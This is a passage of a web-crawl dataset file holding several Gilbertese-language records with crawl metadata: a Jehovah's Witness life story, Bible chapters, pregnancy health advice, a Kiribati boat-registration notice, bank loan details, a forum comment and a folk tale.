uaanikai. E a tia ni buokaki neiei iroun Etta bwa e na ataa te koaua. Ngaia are n au tai ni beku n te Betaera, I a kaitiboo ma temanna riki ae wanawana, are I a tia ngkai n nakonako ma ngaia i nanon 58 te ririki. I mare ma Angela n Eberi 1958, ao ti a tia ni karekei mwioko aika bati n ara beku. I nanon ririki aika bati, e riki bwa kateimatoaan ara mare ana kakaonimaki ni koaua Angie nakon Iehova. I kona n onimakina raoi neiei, n aki ongei kangaanga aika ti kaaitarai.\nTE MWAKURI NI MITINARE AO TE MWAKURI NI MWAMWANANGA\nNgke a a kabooakinako autin te WBBR ake i Staten Island n 1957, I a beku tabeua te tai n te Betaera i Brooklyn. Imwina, I a mare ma Angie ngaia are I a kitana te Betaera, ao ti a bwaiania tao tenua te ririki i Staten Island. I mwakuri naba i nanon tabeua te tai irouia taani bwaibwai aika boou n te tabo ni kanakobwanaa, are e a aranaki ngkai bwa WPOW.\nI motinnanoia ma Angie bwa ti na teimatoa ni kabebetei maiura bwa ti aonga n tauraoi ni beku n taabo ake ti kainnanoaki iai. Ngaia are ni moan 1961, ti a tauraoi ni butimwaea mwiokoara ae ti na tibeetio bwaiania i Falls City, i Nebraska. E aki maan imwini karaoan te bitaki anne, ti a kaoaki nakon te Kuura ni Minita Ibukin te Tautaeka n Uea, ae maanna n te tai anne bon teuana te namwakaina i Lansing Maiaki i New York. Ti kukurei n te reirei ao ara kantaninga bwa ti na kamanenai rabakaura aika reke ngkana ti okira Nebraska. Ma ti mimi ngke e a reke mwiokoara ae boou bwa ti na mitinare i Cambodia! N te aba ae rangi ni kan aei ae mena i Atia Maiakimainiku, ti a nori iai baika rangi ni kaokoro, n ongongo aeka ni karongoa aika kaokoro, ao n aroki baika boiarara, aika rangi ni kaokoro ma ake ti taneiai iai. Ti ingainga ni kan tibwaanako te rongorongo ae raoiroi n te tabo aei.\nMa e a manga bitaki te babaire n te tautaeka, ao ti a riai ni mwaing nako Vietnam Maiaki. E kananokawaki bwa imwin uoua te ririki, e a reke aorakiu ae kakaiaki, ngaia are ti a riai n okira abara. I kainnanoa te tai ae maan teutana ibukini kamarurungau, ma ngke I a marurung ti a manga beku naba ni kabwanina ara tai.\nNi Maati 1965, ti kakabwaiaaki bwa ti a moana mwiokoara ae te mwamwananga ni kawari ekaretia. I kukurei ma Angie ni karaoa te mwakuri aei n te aono ae uarereke ao ae bubura i nanon 33 te ririki, n ikotaki ma te mwakuri ae bati imwain te bwabwaro ao n tain naba te bwabwaro. A rangi ni kakawaki n taai nako taiani bwabwaro irou, ngaia are I kukurei ni buoki baireaia. Ti tiku i New York City i nanon tabeua te ririki ao a bati bwabwaro ake a karaoaki n te Yankee Stadium.\nOKIRAN TE BETAERA AO KUURA N REIREI\nN aron ae e riiriki nakoia aomata aika bati ake a kabwanina aia tai n te beku ae okoro, a mena naba imwaiu ma Angie mwioko aika kakukurei ao aika kangaanga. N te katoto, n 1995 I tuangaki bwa N na tia reirei n te Kuura Ibukini Kataneiaakia Minita. Tenua te ririki imwina, ti a kaoaki nakon te Betaera. I rangi ni kukurei ngke I a okira te tabo are I moana iai kabwaninan au tai n te beku ae okoro, 40 te ririki n nako. I beku n te Aobiti Ibukin te Mwakuri tabeua te tai ao n riki bwa te tia reirei ni kuura aika bati. N 2007, e baireia te Rabwata n Tautaeka bwa kuura ake a karaoaki n te Betaera a na mena i aan ana tararua te Aobiti ae Tabe ma Kuura n Reirei, ao I mwiokoaki bwa te mataniwi iai i nanon tabeua te ririki.\nTi a tia n nori bitaki aika kakawaki n taai aika tibwa nako ni kaineti ma te reirei mairoun te Atua. E kateaki te Kuura Ibukia Unimwaane n te Ekaretia n 2008. Uoua te ririki imwina, e raka i aon 12,000 unimwaane ake a reireinaki i Patterson ao n te Betaera i Brooklyn. E teimatoa ni waakinaki te kuura anne n taabo aika kakaokoro ma taan reirei iai ake a a tia ni kataneiaaki n te mwakuri ni minita. N 2010, e a bitaki aran te Kuura Ibukini Kataneiaakia Minita nakon te Kuura n Reirei n te Baibara Ibukia Taari Mwaane Aika Akea Buuia, ao e kateaki te kuura ae boou ae te Kuura n Reirei n te Baibara Ibukia Taanga Aika Kristian.\nN 2015 ni moanakin te ririki ni mwakuri, a a ikotaki kuura n reirei akana uoua akanne ao e riki bwa Te Kuura Ibukia Taan Uarongorongoa te Tautaeka n Uea. Te koraki ake a reireinaki iai bon taanga ke taari mwaane ao aine aika akea buuia. A bati ni katobibia te aonnaba aika a kukurei n ongo ae e na karaoaki te kuura aei n aobiti n tararua aika bati. E kakukurei noran aanga ibukini karababaan te reirei mairoun te Atua, ao I rangi ni kukurei ni kaitiboo ma aomata aika bati ake a karaoi bitaki ni maiuia ibukini kaean te reirei ni kataneiai aei.\nNgkana I tanrikaaki n kauringa aroni maiuu imwaini bwabetitoau ni nnen nimaia maan ni karokoa ngkai, I kaitaua Iehova ibukia naake a wanawana ake a a tia ni buokai bwa N na teimatoa n nakonako n te koaua. A kakaokoro ara ririki ma ara katei. Ma bon aomata aika korakora n te onimaki. E noraki korakoran tangiran Iehova irouia n aia mwakuri ao aroaroia. A bati aika wanawana n ana botaki te Atua ake ti kona n nakonako ma ngaiia. I a tia ni karaoa anne ao I boni kakabwaiaaki iai.","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/aua-n-tantani-reirei-maati-2017\/i-kakabwaiaaki-n-nakonakou-ma-aika-wanawana\/","date":"2019-01-16T13:26:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583657470.23\/warc\/CC-MAIN-20190116113941-20190116135941-00234.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2310,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri naba natiu..ia manga bon mimi nte ara ae Jacky..sorry..\nE uara moa am reirei ao am uncle anne(Kire)e tau keiaki ba te kabaia mwina kee ao please bon tai irarang naba.We all well ikai plus manem aikai ao tarim aio Ruabeta..nao nagaia ea kauntira tamam,e tau ke tekeraoi naba.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/banabanvoice.ning.com\/profile\/jack228","date":"2019-02-19T03:12:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247489304.34\/warc\/CC-MAIN-20190219020906-20190219042906-00467.warc.gz","language":"gil","language_score":0.9983302951,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.998330295085907}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tai ni bwikoukou bon te tai ae tamaroa, ao e kona naba ni riki ba te tai ni kakamaku, ao te nano kokoraki ao moa ra riki maitin te bitaki e atia ni rotaki I ai.\nA maiti aine a rotaki i bukin baai aikai:\n- Te bitaki i nanon te rabata\n- Iagoakin te ataei e rikirake i nanon te bwiroto\n- E iagoaki rokon te ataei ao te maraki i nanon te tai ane\n- Iagoakin te mane ao boon ana bai te ataei\n- Iagoakin te motirawa man te makuri\n- A ragin maiti rongorongo aika ria ni ataaki inanon te tai aio\n- Arom ni riki ba te tina ao te kaaro ae boou\nBaai aikai ko namakina ao ko rotaki I ai boon baai aika rootaki i ai aine aika atia ni bwikoukou mai maim. Ao aikai kawai ko na ni bwokaki iai:\n- Taetae nakon buum ba ena reke te iwobwoki, nai aron naba am utu ao raoraom\n- Karekea am tai ni nakonako\n- Ko na matu raoi ao e rawata te motirawa\n- Amarake raoi\n- Tebotebo ni te ran ae kabwebwe\n- Karekea am tai I bukim ni kakukurei\nNkana ko raraoma n te baai teuana e kaotaki mai eta ko riai ni taetae nakon am Neetinikabung,te taokita ke te neeti ni te aro ae ko aganaki ibwobwoki aika tangiraki n am tai ni bwikoukou.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/www.tapuaki.org.nz\/ki\/e-roko-te-nano-kokoraki","date":"2019-03-19T01:25:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201882.11\/warc\/CC-MAIN-20190319012213-20190319034213-00405.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":222,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rongorongo ni kabane ake ko anga ana nakon te Marine Division ao n kawakinaki ba te rekooti. Ko kainanoaki ba kona tiaina ibukin kakoauan ae a bane ni koaua rongorongo aika ko anga.\nNgkana iai am titiraki ni kan mataata ibukin kanoan te booma ao taiaoka reitaki ma te Marine Division iaon te number ae 74026003 n aoan te mwakuri.\nImwin kanoan te booma aio, ao ena karaoaki te tutuo nakon am booti n boong akana a oti inano. Ana reitaki nakoim kain te Marine ibukin kamatoan te tai are ana kawariko iai ibukin te tutuo.\n- Monday ao Tuesday ibukiia kain Betio\n- Wednesday, Thursday ao Friday ibukia kain Bairiki n nako eeta","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.micttd.gov.ki\/webform\/registration-small-craft","date":"2019-03-24T00:48:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203123.91\/warc\/CC-MAIN-20190324002035-20190324024035-00452.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":111,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Baai aika ko riai ni karaoi i nanon am tai ni bwikoukou-Tekeraoi!\nE ragin bongana baai aikai bwa ko ataia i nanon te tai ae ko tuai ni bwikoukou bwa ko kona ni buokaki ao ko kona ki bung ni te rau ao te kimareirei ma am ataei. Ena amarake ni kanana aika raraoi, e marurun rabatam ao ena marurun naba am ataei. Te amarake raoi ao te kamarurung te rabata e riai i main te bung. Aikai rongorongo ni ibwobwoki ae ko tagiria i bukin am ataei ao nkoe te tina i maina ae ko bungiaki.\nKawariia am Taokita\nA na reke i roum ibwobwoki ni kabarabara aron te bwikoukou nkana ko kawara am Taokita bwa kona tuoaki.Ana anganiko am taokita aron tuoakin raram ao mimim ni te tai aio( taratara baai aika tagiraki man raram ao te mimi bwa ena tuoaki) Am taokita ena aganiko naba am baainaoraki nke te beebwa I bukin am baaniaoraki ngana e tagiraki ngana ko aoraki\nKo moanaki niima te Folic Acid\nTe Folic Acid e rangin boogana nako im ni te tai aio ao ko tataniga am tai ni bwikoukou.E aki ti buokiko ni ka uarerekea baai aika kona ni rotaki ai am ataei n nai aron aorakin te ri nuuka ke te spina bifida. Ni te tai aio ko riai ni moana ni niima te folic acid uaua te namakaina ni au tai ni bwikoukou. Ko riai ni kawara am taokita i bukin am baai aoraki aio.\nI bukin rongorongo riki tabeua i bukin te folic acid maitira ae ko riai ni taua n te tai ni bwokoukou click here.\nKatokia te momoko\nAkea riki te tai ae tamaroa naiaron te tai aio nkana ko kaaki te moko. Nkana ko tagiria te ibwobwoki I bukin katokan te momoko, taeate nakon am taokita ke te neeti I bukin katokana ai I bukin aia program ao baaiaoraki. Ao ko kona ni buokaki ba kona katokia ni aki manga momoko.\nNkana nkoe ainen te Betebeke nkoe , buum ao kain am utuu a tagiria ni katokia te momoko, aikai riki bootaki a kona ni ibwobwoki. Katokan te momoko ko tangiria natin ba ena rikirake n te taabo ae akea i ai te toxin.\nKatokia te Moi maging!\nBon akea matin te maging ae ko nima e bongana ibukim ao ibukin am ataei ni te tai ni i bwikoukou.- Nkana ko mooi ao e mooi naba natim!. Nkana ko tagiria ba kona bwikoukou ko riai ni kakea te mooi maging ko riai ni katauraoa natim ba ena maiu raoi.\nNkana nkoe aine ni te Betebeke ao ko tagiria te ibwobwoki ibukin te mooi maging ao ko tagiria ni katokia, ko kona ni reitaki ma Alcohol Drug Helpline te Botaki ni te Betebeke n te 0800 787 797. Te botaki aio e kona naba ni ibwobwoki nakon am utu ma kain abam ibukin (katokan te kemboro ao baainaoraki aika korakora ao e tabuaki)\nI ai bootaki riki tabeua aika kona ni ibwobwoki naiaron te National Addictions Treatment Directory.\nKana amarake aika raraoi\/teimatoa te kamarurung te rabata\nKo ria ni kamatoa te amarake aika raraoi ao te kateimatoan kamarurun nte rabata imain te tai ni bwikoukou ao imwina. Nkana ko amarake ni amarake aika raraoi ao rabatan te ataei e reke naba i rouna amarake aikai i main ana tai ni bungiaki.Nai arona naba ama kamarurung nte rabata. Te kamarurung n te rabata aron aika te nakonako,te uaua i taari, buti n te baatika ao aga riki tabeua e teimatoa te marurug n te rabata e ragin boogana ibukin te taai ni bungiaki ao ni maraki i nanon te bungiaki.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/www.tapuaki.org.nz\/ki\/au-katauraoi-imain-te-bwikoukou","date":"2019-03-19T01:27:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201882.11\/warc\/CC-MAIN-20190319012213-20190319034213-00525.warc.gz","language":"gil","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000085830688477}","num_words":599,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6 Mangaia ae ngkai ti a tia ni kitani moan reirei+ ake taekani Kristo, ti bia kakorakoraira n eweka te mwaneka n ikawai,+ ao n aki manga kawenei aara ae te rairannano mani mwakuri aika mate, ao onimakinan te Atua, 2 te reirei ibukin te bwabetito, te katokabai,+ mangautiia maate,+ ao te motikitaeka ae aki bibitaki.* 3 Ao ti na karaoa aei, ngkana e boni kariaia te Atua.\n4 Bwa te koraki ake a a tia ni kaotaaki+ iroun te Atua, ake a a tia ni katoonga te bwaintituaraoi mai karawa ae akea boona, ake a a riki bwa taan ibuokanibwai n te taamnei ae raoiroi, 5 ake a a tia ni katoonga ana taeka ae raoiroi te Atua ao baika mwaaka aika irekereke ma te waaki ae e na roko i aon te aba,* 6 ma a bwaka,+ e aki kona n reke manga kaokaia nakon te rairannano, ibukina bwa a a manga bobitiia i aon te kai Natin te Atua i bon ibukia ma ni kamaamaea i mataia aomata.+ 7 Bwa e kakabwaiaaki iroun te Atua te tano ngkana e moi n te karau ae bwabwaka i aona, ao imwina e kabwebwei aroka aika a na tauraoi ibukia te koraki ake a na ribanaia. 8 Ma e na kaakaki taekana ngkana e kabwebwei aroka aika kateketeke, ao i aoni kawaina ni kamaraiaaki, ao n tokina e na boni kabuekaki.\n9 E ngae ngke ti taetae n aron anne, ma ti kakoauaa taari aika kam tangiraki bwa a raraoi riki aromi nakoia te koraki ake a bwaka, ao iai iroumi baike a na kairingkami nakon te kamaiuaki. 10 Bwa e aki ribuaka te Atua ni mwanuokin ami mwakuri ao ami tangira ake kam kaotia ibukin arana,+ n aromi ni buokiia te koraki aika itiaki* ao ngkai kam teimatoa naba ni buokiia. 11 Ma ti tangiringkami n tatabemaningkami nako bwa kam na taningamarau n aron anne, bwa kam aonga n aki nanokokoraki teutana n te kantaninga,+ ni karokoa te toki,+ 12 bwa kam aonga n aki riki bwa aomata aika taningaroti+ ma kam na riki bwa taani kakairi irouia te koraki ake a reke tibwangaia n taiani berita, ibukin aia onimaki ao aia taotaonakinnano.\n13 Bwa ngke e karaoa te berita te Atua nakon Aberaam, ao e taetae n tuea i bon irouna kioina ngkai e aki kona n taetae n tuea rinanon temanna ae kakannato riki,+ 14 ao e kangai: \"N na boni kakabwaiako, ao N na boni kamwaitiko.\"+ 15 Mangaia are imwini kaotan te taotaonakinnano iroun Aberaam, ao e a reke irouna te berita aei. 16 Bwa a taetae n tuea aomata rinanon temanna ae kakannato riki, ao aia taeka n tuea boni katokani kauntaeka nako, kioina ngkai bon te bwai ni kakoaua nakoia.+ 17 N aron aei, ngke e baireia te Atua bwa e na kaotia raoi nakoia taani bwaibwai n te berita,+ bwa e bon aki kona ni bitaki ana kantaninga,* ao e kamatoaa ana taeka n te taetae n tuea, 18 bwa ti aonga ni karekea kaungaakira ngaira ake ti birinako nakon te tabo ni kamanomano, ae kaungaakira ae korakora rinanoni baika uoua aikai* aika aki kona ni bitaki ao e aki kona ni kewe iai te Atua,+ bwa ti na taua raoi te kantaninga ae kamenaaki imwaira. 19 Te kantaninga ae iroura aei,+ kaanga ai aron atinroni maiura ae koaua ao e nene ni matoa, ao e kairira bwa ti na rin i akun te keeten,*+ 20 are e rin iai ibukira teuare rimoara, are Iesu,+ are e a riki bwa te ibonga ae rietata* n aki toki n aroni Merekitereka.+","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/58\/6","date":"2019-03-21T21:40:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202572.7\/warc\/CC-MAIN-20190321213516-20190321235516-00164.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":577,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Business Development Projects\n1. Rural Support Loan - E teimatoa n nako te loan aio TII ibukiia kaain buuki ke abamakoro. Te tangomwane\nibukin bwaai n oroben, bwaai n akawa ao n unuuniki. Abamakoro ake iai ana agent\nDBK ngaia ake a teimatoa n nako te loan aio nakoia n aron MAKIN, BUTARITARI,\nMARAKEI, ABAIANG, MAIANA, KURIA, ARANUKA, ABEMAMA, TABITEUEA, ONOTOA, BERU\nni ikotaki ma KIRITIMATI ao TABUAERAN. Te mwaiti e na aki riaon $3000.00.\nBwaai aika a kainnanoaki:-\n2. Tobwaan te Rikirake Youth Loan- Te loan ibukiia te roronrikirake ao taanga n ataei ake bon akea aia makuri ni\nikotaki ma aia karo. Te mwaiti moa bon $500.00 ao aio are e rinanon MWYSA n\nmwaangana are te Youth. Naake a pass aia application form a na riai n rinanon\nte Training are e katauraoaki ao a tibwa konaa n apply nakon te loan aio. Man\nana list te MWYSA ibukiia eligible applicants ngaia are e na tauraoi DBK n buokiia\nn anganiia te loan. Ai ngaia are aio e rinanon te MWYSA ao kam konaa n reitaki\niai ma te MWYSA ibukin te ka-2 n Lots.\n3. Student Loan Scheme - Te tangomwane ibukiia ataein ake a pass aia bwi nakon te kuura ae e rietaata\nma e aki reke te funding nakoia. Aio are e rinanon te Ministry of Education ai ngaia\nare kam konaa n reitaki ma te MOE n mwaangana ae te Scholarship Unit ibukin\nbwaai aika a kainanoaki nte application form. Man ana list te Education ao\naikanne ake a na tii konaa n reke te loan irouia. Aikai ngkanne bwaai aika a\nkainanoaki man ana itera DBK:-\ni. Te Guarantor - te aomata are e na kona n tei ibukin te kabwara taarau ngkana arona bwa iai te\nkanganga\nii. Te security - Te KPF are e na tei bwa te security nakon te loan, aio are e na riai nab n iai temanna ae iai\nana KPF bwa e tei bwa te security nakon te loan\niii. Passport Photo size - te applicant ao te guarantor\niv. Birth certificate - ibukin te applicant ao te guarantor\nv. $20.00 te application fee","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.dbk.com.ki\/our-services\/business-development-department.html","date":"2019-03-26T12:43:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205163.72\/warc\/CC-MAIN-20190326115319-20190326141319-00412.warc.gz","language":"gil","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000081062316895}","num_words":347,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21 Ao Iehova e mutiakina Tara n aron are e taekinna, ao e karaoa Iehova are e beritanna nakon Tara.+ 2 Mangaia are e a bikoukou Tara+ ao e a bungia natin Aberaam te mwaane ngke e a kara teuaei, n te tai ae baireaki are e beritanna te Atua nakon teuaei.+ 3 E arana natina are e a tibwa bungiaki Aberaam bwa Itaaka, are e bungia Tara.+ 4 Ao Aberaam e korotobibia Itaaka are natina ngke ai wanibong ana bong, n aron are e tua te Atua nakoina.+ 5 Bon 100 ana ririki Aberaam ngke e bungiaki natina are Itaaka. 6 Ao e taku Tara: \"E karika ngareu ni kimwareirei te Atua: a na bane n ira ngareu* naake a ongo taekan aei.\"7 Ao e reitia ni kangai: \"Antai ae kona ni kangai ngkoa nakon Aberaam, 'E na boni kammammaa te teei Tara'? Ma I a tia ngkai ni bungia natina ngkai e a kara.\"\n8 Ao e a ikawairake te teei ao e a tia ni kakoriraki, ao e karaoa Aberaam te baka n amwarake ae bubura n te bong are e kakoriraki iai Itaaka. 9 Ma e nonoria Tara bwa natin Aka+ are te I-Aikubita, are natina ma Aberaam, e kakakanikoa Itaaka.+ 10 Ngaia are e taku nakon Aberaam: \"Kakionakoa te toro te aine aei ma natina, bwa e na aki kaai ni bwaibwai natin te toro te aine aei ma natiu ae Itaaka!\"+ 11 Ma e rangi n rawawata Aberaam+ n te baere e taekinna neiei ibukin natina. 12 Ao e taku te Atua nakon Aberaam: \"Tai rawawata n te baere e taekinna nakoim Tara ibukin te teinimwaane anne ao ibukin am toro te aine. Ongo irouna,* bwa ane e riki mairoun Itaaka ao e na atongaki bwa kanoam.*+ 13 Ni kaineti ma natin te toro te aine+ anne, N na kaotinakoa naba te natannaomata mairouna,+ ibukina bwa boni kanoam.\"*\n14 Mangaia are e utimwaaka Aberaam n te ingabong, ao e anaa te kariki ao nnen te ran ae te kunniman ao e angan Aka. E katokai baikai i aon angan neiei ao e a kanakoa ma te teinimwaane.+ Mangaia are e a nako neiei ao e a tiotionako n rereuani Beerateba.+ 15 N tokina ao e a bane te ran mani nnena are te kunniman, ao e katuka te teinimwaane i aan te aroka teuana. 16 Ao e kaneneinako riki neiei ao e tekateka n tii ngaia, n te raroa ae tao raroani kanoan te kainikatebe ngkana e katebenakoaki, bwa e taku: \"I aki kan tarataraa maten te teinimwaane aei.\" Mangaia are e tekateka neiei n te tabo ae raroa ao e a takarua ma n tang.\n17 Ao e ongo bwanaan te teinimwaane+ te Atua, ao e wetea Aka ana anera te Atua mai karawa ao e taku nakoina:+ \"E aera ngkai ko tang Aka? Tai maaku bwa e ongo te Atua bwanaan te teinimwaane man te tabo are e wene iai. 18 Teirake, ao taua te teinimwaane ni baim ao kateirakea, bwa N na karaoia bwa te natannaomata ae korakora.\"+ 19 E kaurea matan neiei te Atua ao e nora te mwanibwa, ao e nako ni kaona nnen te ran are te kunniman ao e kamooa te teinimwaane. 20 Ao e memena te Atua iroun te teinimwaane+ n ana tai n ikawairake. E mamaeka n te rereua teuaei ao e riki bwa te tia katebe. 21 E maeka n rereuani Baran+ ao e karekea buun teuaei tinana man te aba are Aikubita.\n22 N te tai anne ao e taku Abimereka ma Bikora are mataniwin ana taanga ni buaka nakon Aberaam: \"E mena te Atua iroum ni bwaai ni kabane aika ko karaoi.+ 23 Ngaia are ko na taetae n tuea iroun te Atua nakoiu ikai, bwa ko na aki aonikaiai ma kanoau ao kanoaia kanoau, ma ko na kaota te tangira ae koaua* nakoiu ao nakoia kaain te aba ae ko maeka iai, n aron te tangira ae koaua are I kaotia ngkoa nakoim.\"+ 24 Mangaia are e taku Aberaam: \"I taetae n tuea iai.\"\n25 Ma e ngurengure Aberaam nakon Abimereka ibukin te mwanibwa ae a taua ma te iowawa+ ana toro Abimereka. 26 E kaeka Abimereka ni kangai: \"I aki ataia bwa antai ae karaoa aei, bwa ko aki tuangai taekana ao akea ataakina irou ni karokoa te bong aei.\" 27 Mangaia are e anai tiibu ma kaao Aberaam ao e angan Abimereka, ao a karaoa te berita i marenaia. 28 Ngke e kaokoroia itiman te tiibutetei aika aine Aberaam man te nanai, 29 ao e taku Abimereka nakon Aberaam: \"E aera ngkai ko a kaokoroia itiman te tiibutetei aika aine?\" 30 Ao e taku: \"Ko na butimwaei mairou itiman te tiibutetei aika aine, bwa kakoauaan ae I boni kena te mwanibwa aei.\" 31 Anne bukina ae e arana iai te tabo anne bwa Beerateba,*+ bwa a uaia n taetae n tuea iai. 32 Mangaia are a karaoa te berita+ i Beerateba, ao imwina e a teirake Abimereka ma Bikora are mataniwin ana taanga ni buaka, ao a a karairaki nako abaia I-Biritia.+ 33 Imwin anne ao e unika te aroka ae te tamaritiki* i Beerateba ao e taboa aran Iehova+ ikanne, ae te Atua ae akea tokina.+ 34 Ao e tiku ni maeka* Aberaam i abaia I-Biritia i nanon te tai ae maan.*+","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/wol.jw.org\/gil\/wol\/b\/r178\/lp-gb\/nwt\/GB\/2013\/1\/21","date":"2019-03-24T02:29:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203168.70\/warc\/CC-MAIN-20190324022143-20190324044143-00119.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":850,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Posted by Amota Eromanga on February 23, 2019 at 12:45 PM|\n(IANGOAN TIRINGAKIN MATARI)\nNgke e euta atuna Matari ao e a noora Bakoa, are e tekateka ni kaitaraa. E a toki raoi ngkai nanon Matari bwa e a bon tibwa itaramata ma Bakoa are e a boongata arana inanon taningana mani uarerekena. Akea te kakarongoa ngkai a tabe moa uaakai ni kamwataua tarakiia i bon irouia.\nAi tera te mwaneaba aio n te tai aei? E onrake nanona ao tinanikuna irouia kaain Moone bwa kaitaraan ao kan noran te roko aio. A boni babane kaain marawa ni moa mai irouia bakoa ake a totooa man tiritiri ni karokoa ikan ma manin marawa ake a uarereke. Akea ae tiku ni mwengana ngkai ana baire Bakoa bwa te bane n roko. A bon kaman tia naba ni wene babaire iaon waaki ake a riai ni karaoaki. E a urakinaki ngkai nako nanon te mwaneaba te amwarake ni butimwaai nakon Matari.\nA urakinaki ma aingaia ma aingaia ni karokoa akea bwa e a bwaenaata te amwarake arei ao man tei bwa te tabuki inanon te mwaneaba. E a bon ana arona te bwabwai ae aki kamwaaki are e airi ma baana, wakaana ao bokabokana; ika aika a kateketeke, kabuebue ao mani kanganga naba; manin taari ake a kamamate n aron te buni, te tia, te nou, te aa ao a mwaiti kurikuri riki.\n\"Anne marikem ibukin te bong aio. Ko riai ni kabanei n akea tamruruna ae na noraki n tiku iaon te inai imwaain otin taai n te ingabong. Ngkana ko riaon aio ao bairean taekam bwa te tiringaki!\" e kanakoa ana moti Bakoa ae matoatoa.\nE na tera riki ae na kona Matari? Akea riki irarikin iangoan kabanean kanana akekei, aingaia are e a nako kain te amwarake irouna. E kakaitaraaki ao mani kakamaroroaki iroun Bakoa ni karaki aika akea riki bwa ti taekan ueana, ununna, korakorana ao tiritirina iaon abana ae Moone ma ana tabo ae marawa. Akea bwa e a bong arei ao are e bon waakinako naba te amwarake ma te mamarooro irouia uaakai. Ngke e a nukanibong ao akea bwa a bwaka ni matu angiia te koraki ake inanon te mwaneaba. E kakorakoraa Bakoa bwa e na aki matu ma ngke e a bon taira bwa e a kani ngaina, ao a ti tao naba matana.\nE karaurau Matari ni kabwara matan te abein are e mena iai ana man te kekenu ao mani wirikiriki nakoina ni kangai, \"Kana te amwarake ae tabukirake aio n akea naba tamruruna ae ko na katikua!\"\nE a nako ana kai na kekenu! E nga te tabuki arei e tei inanon te mwaneaba? Bon te kamimi bwa inanon te tai ae rangi n tawe ao e a bon bing naba te amwarake arei ao man itiaki aon taian inai. Bon akea naba tamrurun te amwarake ae kona n noraki. Ai aki akora amwaraken te man ae tuakarako aei? Ao ngaia akea naba tokin kanana? E kaenakoa ngkanne baina Matari, e ana ana man arei ao mani kaokia nakoni nnena.\nTe kubanrou tera iroun Bakoa ngke a ure matana ao ai akea te tabuaki ae kona n nooria. E taku bwa e mii aingaia are e a bubui raoi matana bwa e na kamwataua raoi tarakina. E takarua nakoia kaain te mwaneaba bwa a na tuoi taabo nako. E a wakinako te tutuo ma te kakae man te karangaina anne ao n reitinako inanon te ngaina. A roko i meang, maiaki, mainiku, maeao ao n taabo nako ma bon akea nikiran te amwarake ae a kunea. E a bwara nanoia aingaia are a okira Bakoa ao mani kaongoraea rongorongon aia kakae.\n\"Nao, ngaia bon te toa ngkoe!\" e eka Bakoa nakon ana irua are e tabe ni kakaitara.\n\"Are ieta te akoi bwa ti a tibutaua iai!\" e kaeka Matari ma te kukurei, riki ana 